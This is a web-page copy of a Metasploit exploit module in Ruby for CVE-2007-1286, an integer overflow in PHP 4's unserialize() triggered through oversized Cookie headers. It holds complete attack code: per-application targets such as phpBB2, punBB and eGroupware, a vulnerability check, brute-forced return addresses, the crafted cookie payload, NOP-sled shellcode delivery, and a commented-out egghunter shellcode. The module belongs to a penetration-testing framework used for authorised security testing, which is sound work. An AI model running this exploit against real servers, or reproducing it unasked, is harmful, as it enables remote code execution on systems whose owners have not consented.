Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::Brute
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
18
'Description' => %q{
19
This module exploits an integer overflow vulnerability in the unserialize()
20
function of the PHP web server extension. This vulnerability was patched by
21
Stefan in version 4.5.0 and applies all previous versions supporting this function.
22
This particular module targets numerous web applications and is based on the proof
23
of concept provided by Stefan Esser. This vulnerability requires approximately 900k
24
of data to trigger due the multiple Cookie headers requirement. Since we
25
are already assuming a fast network connection, we use a 2Mb block of shellcode for
26
the brute force, allowing quick exploitation for those with fast networks.
27
28
One of the neat things about this vulnerability is that on x86 systems, the EDI register points
29
into the beginning of the hashtable string. This can be used with an egghunter to
30
quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
31
is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
32
module is more reliable across a wider range of systems.
33
},
34
'Author' => [
35
'hdm', # module development
36
'GML <grandmasterlogic[at]gmail.com>', # module development and debugging
37
'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited
38
],
39
'License' => MSF_LICENSE,
40
'References' => [
41
['CVE', '2007-1286'],
42
['OSVDB', '32771'],
43
['URL', 'http://web.archive.org/web/20240619200429/http://php-security.org/MOPB/MOPB-04-2007.html'],
44
],
45
'Privileged' => false,
46
'Payload' => {
47
'Space' => 1024,
48
},
49
'Platform' => %w{linux},
50
'Targets' => [
51
52
#
53
# 64-bit SuSE: 0x005c0000
54
# Backtrack 2.0: 0xb797a000
55
# Gentoo: 0xb6900000
56
#
57
[
58
'Linux x86 Generic',
59
{
60
'Platform' => 'linux',
61
'Arch' => [ ARCH_X86 ],
62
'Bruteforce' =>
63
{
64
'Start' => { 'Ret' => 0xb6000400 },
65
'Stop' => { 'Ret' => 0xbfff0000 },
66
'Step' => 1024 * 1024
67
}
68
}
69
],
70
[
71
'Linux x86 phpBB2',
72
{
73
'DefaultCookie' => 'phpbb2mysql_data',
74
'DefaultURI' => '/phpBB2/faq.php',
75
'Signature' => /Powered\s+by.*phpBB/,
76
'Platform' => 'linux',
77
'Arch' => [ ARCH_X86 ],
78
'Bruteforce' =>
79
{
80
'Start' => { 'Ret' => 0xb6000400 },
81
'Stop' => { 'Ret' => 0xbfff0000 },
82
'Step' => 1024 * 1024
83
}
84
}
85
],
86
[
87
'Linux x86 punBB',
88
{
89
'DefaultCookie' => 'punbb_cookie',
90
'DefaultURI' => '/index.php',
91
'Signature' => /Powered\s+by.*PunBB/,
92
'Platform' => 'linux',
93
'Arch' => [ ARCH_X86 ],
94
'Bruteforce' =>
95
{
96
'Start' => { 'Ret' => 0xb6000400 },
97
'Stop' => { 'Ret' => 0xbfff0000 },
98
'Step' => 1024 * 1024
99
}
100
}
101
],
102
[
103
'Linux x86 WWWThreads',
104
{
105
'DefaultCookie' => 'forum_cookie',
106
'DefaultURI' => '/index.php',
107
'Signature' => /Powered\s+by.*WWWThreads/,
108
'Platform' => 'linux',
109
'Arch' => [ ARCH_X86 ],
110
'Bruteforce' =>
111
{
112
'Start' => { 'Ret' => 0xb6000400 },
113
'Stop' => { 'Ret' => 0xbfff0000 },
114
'Step' => 1024 * 1024
115
}
116
}
117
],
118
[
119
'Linux x86 Deadman Redirect',
120
{
121
'DefaultCookie' => 'authcookie',
122
'DefaultURI' => '/dmr/dmr.php',
123
'Signature' => /document\.f\.userdata\.focus/,
124
'Platform' => 'linux',
125
'Arch' => [ ARCH_X86 ],
126
'Bruteforce' =>
127
{
128
'Start' => { 'Ret' => 0xb6000400 },
129
'Stop' => { 'Ret' => 0xbfff0000 },
130
'Step' => 1024 * 1024
131
}
132
}
133
],
134
[
135
'Linux x86 PhpWebGallery',
136
{
137
'DefaultCookie' => 'pwg_remember',
138
'DefaultURI' => '/phpwebgallery/index.php',
139
'Signature' => /Powered\s+by.*phpwebgallery/msi,
140
'Platform' => 'linux',
141
'Arch' => [ ARCH_X86 ],
142
'Bruteforce' =>
143
{
144
'Start' => { 'Ret' => 0xb6000400 },
145
'Stop' => { 'Ret' => 0xbfff0000 },
146
'Step' => 1024 * 1024
147
}
148
}
149
],
150
[
151
'Linux x86 Ariadne-CMS',
152
{
153
'DefaultCookie' => 'ARCookie',
154
'DefaultURI' => '/ariadne/loader.php/',
155
'Signature' => /Ariadne is free software/,
156
'Platform' => 'linux',
157
'Arch' => [ ARCH_X86 ],
158
'Bruteforce' =>
159
{
160
'Start' => { 'Ret' => 0xb6000400 },
161
'Stop' => { 'Ret' => 0xbfff0000 },
162
'Step' => 1024 * 1024
163
}
164
}
165
],
166
[
167
'Linux x86 ProMA',
168
{
169
'DefaultCookie' => 'proma',
170
'DefaultURI' => '/proma/index.php',
171
'Signature' => /Change Account Information/,
172
'Platform' => 'linux',
173
'Arch' => [ ARCH_X86 ],
174
'Bruteforce' =>
175
{
176
'Start' => { 'Ret' => 0xb6000400 },
177
'Stop' => { 'Ret' => 0xbfff0000 },
178
'Step' => 1024 * 1024
179
}
180
}
181
],
182
[
183
'Linux x86 eGroupware',
184
{
185
'DefaultCookie' => 'eGW_remember',
186
'DefaultURI' => '/egroupware/login.php',
187
'Signature' => /www.egroupware.org/,
188
'Platform' => 'linux',
189
'Arch' => [ ARCH_X86 ],
190
'Bruteforce' =>
191
{
192
'Start' => { 'Ret' => 0xb6000400 },
193
'Stop' => { 'Ret' => 0xbfff0000 },
194
'Step' => 1024 * 1024
195
}
196
}
197
]
198
],
199
'DisclosureDate' => '2007-03-04',
200
'Notes' => {
201
'Reliability' => UNKNOWN_RELIABILITY,
202
'Stability' => UNKNOWN_STABILITY,
203
'SideEffects' => UNKNOWN_SIDE_EFFECTS
204
}
205
)
206
)
207
208
register_options(
209
[
210
OptString.new('URI', [false, "The path to vulnerable PHP script"]),
211
OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])
212
]
213
)
214
end
215
216
def check
217
vprint_status("Checking for a vulnerable PHP version...")
218
219
#
220
# Pick the URI and Cookie name
221
#
222
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
223
uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']
224
225
if (not cookie_name)
226
fail_with(Failure::Unknown, "The COOKIENAME option must be set")
227
end
228
229
if (not uri_path)
230
fail_with(Failure::Unknown, "The URI option must be set")
231
end
232
233
res = send_request_cgi({
234
'uri' => uri_path,
235
'method' => 'GET'
236
}, 5)
237
238
php_bug = false
239
240
if (not res)
241
vprint_status("No response from the server")
242
return Exploit::CheckCode::Unknown # User should try again
243
end
244
245
http_fingerprint({ :response => res }) # check method
246
247
if (res.code != 200)
248
vprint_status("The server returned #{res.code} #{res.message}")
249
return Exploit::CheckCode::Safe
250
end
251
252
if (
253
(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or
254
(res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)
255
)
256
257
php_raw = $1
258
php_ver = php_raw.split('.')
259
260
if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
261
vprint_status("The server runs a vulnerable version of PHP (#{php_raw})")
262
php_bug = true
263
else
264
vprint_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
265
return Exploit::CheckCode::Safe
266
end
267
end
268
269
# Detect the phpBB cookie name
270
if res.get_cookies =~ /(.*)_(sid|data)=/
271
vprint_status("The server may require a cookie name of '#{$1}_data'")
272
end
273
274
if (target and target['Signature'])
275
if (res.body and res.body.match(target['Signature']))
276
vprint_status("Detected target #{target.name}")
277
else
278
vprint_status("Did not detect target #{target.name}")
279
end
280
281
end
282
283
return php_bug ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected
284
end
285
286
def brute_exploit(target_addrs)
287
zvalref = encode_semis('i:0;R:2;')
288
289
#
290
# Use this if we decide to do 'jmp edi' returns vs brute force
291
#
292
=begin
293
# Linux specific egg-hunter
294
tagger = "\x90\x50\x90\x50"
295
hunter =
296
"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
297
"\x3c\xf2\x74\xf1\xb8" +
298
tagger +
299
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
300
301
egghunter = "\xcc" * 39
302
egghunter[0, hunter.length] = hunter
303
304
hashtable = "\xcc" * 39
305
hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes
306
307
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
308
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
309
=end
310
311
#
312
# Just brute-force addresses for now
313
#
314
tagger = ''
315
egghunter = rand_text_alphanumeric(39)
316
hashtable = rand_text_alphanumeric(39)
317
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
318
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
319
320
#
321
# Pick the URI and Cookie name
322
#
323
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
324
uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']
325
326
if (not cookie_name)
327
fail_with(Failure::Unknown, "The COOKIENAME option must be set")
328
end
329
330
if (not uri_path)
331
fail_with(Failure::Unknown, "The URI option must be set")
332
end
333
334
# Generate and reuse the original buffer to save CPU
335
if (not @saved_cookies)
336
337
# Building the malicious request
338
print_status("Creating the request...")
339
340
# Create the first cookie header to get this started
341
cookie_fun = "Cookie: #{cookie_name}="
342
cookie_fun << Rex::Text.uri_encode(
343
'a:100000:{s:8:"' +
344
rand_text_alphanumeric(8) +
345
'";a:3:{s:12:"' +
346
rand_text_alphanumeric(12) +
347
'";a:1:{s:12:"' +
348
rand_text_alphanumeric(12) +
349
'";i:0;}s:12:"' +
350
rand_text_alphanumeric(12) +
351
'";' +
352
'i:0;s:12:"' +
353
rand_text_alphanumeric(12) +
354
'";i:0;}'
355
)
356
cookie_fun << zvalref * 500
357
cookie_fun << Rex::Text.uri_encode('s:2:"')
358
cookie_fun << "\r\n"
359
360
refcnt = 1000
361
refmax = 65535
362
363
# Keep adding cookie headers...
364
while (refcnt < refmax)
365
366
chead = 'Cookie: ';
367
chead << encode_semis('";N;')
368
369
# Stay within the 8192 byte limit
370
0.upto(679) do |i|
371
break if refcnt >= refmax
372
373
refcnt += 1
374
375
chead << zvalref
376
end
377
chead << encode_semis('s:2:"')
378
cookie_fun << chead + "\r\n"
379
end
380
381
# The final header, including the hashtable with return address
382
cookie_fun << "Cookie: "
383
cookie_fun << Rex::Text.uri_encode('";N;')
384
cookie_fun << zvalref * 500
385
386
@saved_cookies = cookie_fun
387
end
388
389
# Generate and reuse the payload to save CPU time
390
if (not @saved_payload)
391
@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
392
end
393
394
cookie_addrs = Rex::Text.uri_encode(
395
's:39:"' + egghunter + '";s:39:"' + hashtable + '";i:0;R:3;'
396
) + "\r\n"
397
398
print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
399
res = send_request_cgi({
400
'uri' => uri_path,
401
'method' => 'POST',
402
'raw_headers' => @saved_cookies + cookie_addrs,
403
'data' => @saved_payload
404
}, 1)
405
406
if res
407
failed = false
408
409
print_status("Received a response: #{res.code} #{res.message}")
410
411
if (res.code != 200)
412
print_error("The server returned a non-200 response, indicating that the exploit failed")
413
failed = true
414
end
415
416
if (not failed and (res.body and res.body.length > 0))
417
print_error("The server returned a real response, indicating that the exploit failed")
418
failed = true
419
end
420
421
if (failed)
422
print_status("Please verify the URI and COOKIENAME parameters.")
423
print_line('')
424
print_line("*" * 40)
425
print_line(res.body)
426
print_line("*" * 40)
427
print_line('')
428
429
fail_with(Failure::Unknown, "Exploit settings are probably wrong")
430
end
431
else
432
print_status("No response from the server")
433
end
434
end
435
436
def encode_semis(str)
437
str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
438
end
439
end
440
441